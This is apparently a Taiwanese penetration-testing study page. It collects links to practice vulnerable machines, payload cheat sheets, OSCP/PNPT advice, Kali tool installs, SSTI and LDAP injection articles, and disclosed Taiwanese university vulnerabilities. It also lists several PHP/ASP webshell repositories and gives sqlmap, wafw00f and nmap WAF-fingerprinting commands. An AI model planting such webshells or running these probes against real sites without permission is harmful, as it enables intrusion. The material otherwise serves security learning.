自架靶機 * [DVWA](https://github.com/digininja/DVWA) * [Metasploitable 3](https://github.com/rapid7/metasploitable3) * [Pikachu靶場](https://github.com/zhuifengshaonianhanlu/pikachu) * [bWAPP](http://www.itsecgames.com/) * [bWAPP (bee-box) 滲透測試靶機 教學系列](https://youtube.com/playlist?list=PLnb6DdhpDg9QZkqowHumCgDrVs5vLO5_d&si=BTiirdBErmMUg34I) * [Vulnhub](https://www.vulnhub.com/) ## 自我補充 * [CVSS 3.1 Calculator](https://chandanbn.github.io/cvss/) * [Weekly Top5 Hacker-Relevant Vulnerabilities](https://blog.ruhrsecurity.com/posts/weekly-top-5-vulnerabilities/) * 相關連結 * [Payloads All The Things](https://swisskyrepo.github.io/PayloadsAllTheThings/) * [Exploit Notes](https://exploit-notes.hdks.org/) * [HackTricks](https://book.hacktricks.wiki/en/index.html) * [Hacking Tools Cheat Sheet](https://github.com/CompassSecurity/Hacking_Tools_Cheat_Sheet) * [Red Team Notes](https://www.ired.team/) * [Pentest-Hints](https://github.com/ahmetgurel/Pentest-Hints) * [Pentesting Tactics](https://hackviser.com/tactics/pentesting) * [yuyudhn's notes](https://htb.linuxsec.org/) * [Pentesting-Exploitation](https://gist.github.com/yezz123/52d2fc45c5de284ec89131c2a3dde389) * [滲透測試實務](https://hackmd.io/@ewater/Penetration_Testing_2022) * [Cyber Security Mindmap](https://github.com/Ignitetechnologies/Mindmap/) * [How to Hack Websites](https://github.com/splitline/How-to-Hack-Websites) * [Bypassing 403 & 401 Errors: All Hacker Techniques Revealed](https://infosecwriteups.com/bypassing-403-401-errors-all-hacker-techniques-revealed-0709ddfa99af) * * 確認台北時間 (截圖取證時用) * https://time.is/zh_tw/ * https://www.stdtime.gov.tw/home/WebClock * [NTP Clock](https://www.stdtime.gov.tw/chinese/details/details.htm) * 確認外網IP的線上工具 (截圖取證時用) * https://ipinfo.io/ip * https://ip.sb/ * https://myip.com.tw/ * https://www.whatismyip.com.tw/tw/ * https://api.myip.com/ (如果開ipv6,會只顯示ipv6) * https://ifconfig.me/ (如果開ipv6,會只顯示ipv6) * [IppSec](https://www.youtube.com/@ippsec) * 證照相關 * [資安學習的從零到OSCP](https://peterkan.tw/2024/06/15/how-to-learn-cybersec/) * [關於取得OSCP的一切](https://peterkan.tw/2024/02/15/all-about-oscp/) * [資安小白的PNPT之旅](https://hackmd.io/@jerry30109/rkeFahuBj) * [PNPT 介紹及裸考心得](https://4hsienyang.medium.com/pnpt-review-240ffdc3834e) * [PNPT](https://github.com/ethanolivertroy/PNPT) * [PNPT : All You Need To Know](https://olivierkonate.medium.com/pnpt-all-you-need-to-know-a949f989e113) * [Installing Go (Golang) on Linux for Seamless Pentesting Tool Integration](https://breachforce.net/setup-go-in-linux) * Burp相關 * [Fuzzing File Uploads With Burp Intruder](https://medium.com/geekculture/fuzzing-file-uploads-with-burp-intruder-3482a10a32d5) * [Web入侵之Burp Suite基本使用](https://pt-note.coderbridge.io/2023/09/22/oscp-3-1-Burp-Suite/) * [一次看懂CTF資安攻防賽](https://www.ithome.com.tw/news/102969) * [從0開始的打Pwn教學](https://ithelp.ithome.com.tw/users/20169016/ironman/7809) * [虛擬主機設定筆記](https://hackmd.io/@nfu-johnny/HyXJCBTIA) * webshell * [easy-simple-php-webshell.php](https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985) * [WebShell Collection (ASP / ASPX / PHP)](https://github.com/BEND0US/webshells) * [C99Shell-PHP8](https://github.com/HolyOne/C99Shell-PHP8) * [acupoftea](https://github.com/superjafar/acupoftea) * [Simple-WebShell](https://github.com/RootShelll/Simple-WebShell) * [Athena](https://github.com/4e0x/Athena) * [Terro PHP WebShell](https://github.com/grabowskiadrian/terro-php-webshell) * [B4TM4N ~ PHP WEBSHELL](https://github.com/k4mpr3t/b4tm4n) * [wwwolf's PHP web shell](https://github.com/WhiteWinterWolf/wwwolf-php-webshell) * [WSO php webshell](https://github.com/mIcHyAmRaNe/wso-webshell) * [ths1335 Shell](https://github.com/TermuxHackz/WebShell) * [Rome WebShell](https://github.com/Caesarovich/rome-webshell) * KaliLinux * [How to Install Kali Linux](https://medium.verylazytech.com/how-to-install-kali-linux-step-by-step-beginners-guide-2025-869639b2922f) * 設定時區 ```bash # 使用 timedatectl 指令設定時區 sudo timedatectl set-timezone Asia/Taipei ``` * 請先更新系統 ```bash sudo apt update sudo apt full-upgrade -y ``` * Dirsearch (kali預設沒裝) ```bash sudo apt install dirsearch ``` * seclist (kali預設沒裝) ```bash sudo apt install seclists ``` * 安裝naabu ```bash sudo apt install naabu ``` * githacker (kali預設沒裝) > [解決Ubuntu系統pip install的externally-managed-environment錯誤,改用虛擬環境安裝套件](https://ivonblog.com/posts/linux-solve-externally-managed-environment-error/) ```bash pipx install githacker ``` * SSTI注入 * [SSTI (Server-side template injection)](https://ithelp.ithome.com.tw/articles/10244403) * [SSTI惡意指令注入防不勝防,如何戒備防範?](https://www.digicentre.com.tw/industry_detail?id=68) * [Web入侵之SSTI漏洞](https://pt-note.coderbridge.io/2023/09/22/oscp-3-7-SSTI/) * [資安這條路 09 - [Injection] Server-side template injection](https://ithelp.ithome.com.tw/m/articles/10243557) * XFF注入 (X-Forward-for可以偽造使用者端IP) * [XFF漏洞攻击原理及防御方案](https://zhuanlan.zhihu.com/p/92450226) * [案例][中正大學校友資料庫平台-存在 Sqli 漏洞](https://zeroday.hitcon.org/vulnerability/ZD-2021-00258) * [案例][國立臺北科技大學存在 XSS 跟 HTTP Header Injection](https://zeroday.hitcon.org/vulnerability/ZD-2021-00363) * [案例][「弘光科技大學 存在未授權登錄」弘光科技大學 後臺存在未授權登錄.後臺可getshell](https://zeroday.hitcon.org/vulnerability/ZD-2020-00183) * waf辨識 * 方式一:`sqlmap -u "https://xxx.com" --identify-waf --batch` * 方式二:`wafw00f https://xxx.com` * 方式三:`whatwaf -u https://xxx.com` * 方式四:`nmap -p 80,443 --script=http-waf-fingerprint xxx.com` * `nmap xxx.com --script=http-waf-detect` * `http-waf-fingerprint` 可提供更精確的防火牆名稱與版本,但是不一定每個防火牆都可以抓得到 * LDAP Injection * [Complete Guide to LDAP Injection](https://www.brightsec.com/blog/ldap-injection/) * [LDAP Injection Payloads](https://swisskyrepo.github.io/PayloadsAllTheThings/LDAP%20Injection/) * JADX (APP逆向工程) * [長庚巡迴體檢中心 APP 的 API 有 IDOR](https://zeroday.hitcon.org/vulnerability/ZD-2025-00515) > 透過逆向工程取得app原始碼,得知有IDOR問題的URL > https://claude.ai/share/7078ce9f-ac57-4272-9ed2-1780f3d571c4 * 取得apk的途徑 * https://apkcombo.com/ * 手機若有安裝,可以在PC用adb指令去取 * [用 jadx 來玩玩 Android 逆向工程](https://hackmd.io/@DailyOops/play-android-reverse-engineering-with-jadx) * [[Mac] 使用 jadx 將 Android APK 檔案快速反編譯成 Java 原始碼](https://ephrain.net/mac-%E4%BD%BF%E7%94%A8-jadx-%E5%B0%87-android-apk-%E6%AA%94%E6%A1%88%E5%BF%AB%E9%80%9F%E5%8F%8D%E7%B7%A8%E8%AD%AF%E6%88%90-java-%E5%8E%9F%E5%A7%8B%E7%A2%BC/) * [APP檢測篇-adb](https://ithelp.ithome.com.tw/articles/10204842) * [APP檢測篇-jadx](https://ithelp.ithome.com.tw/articles/10208426)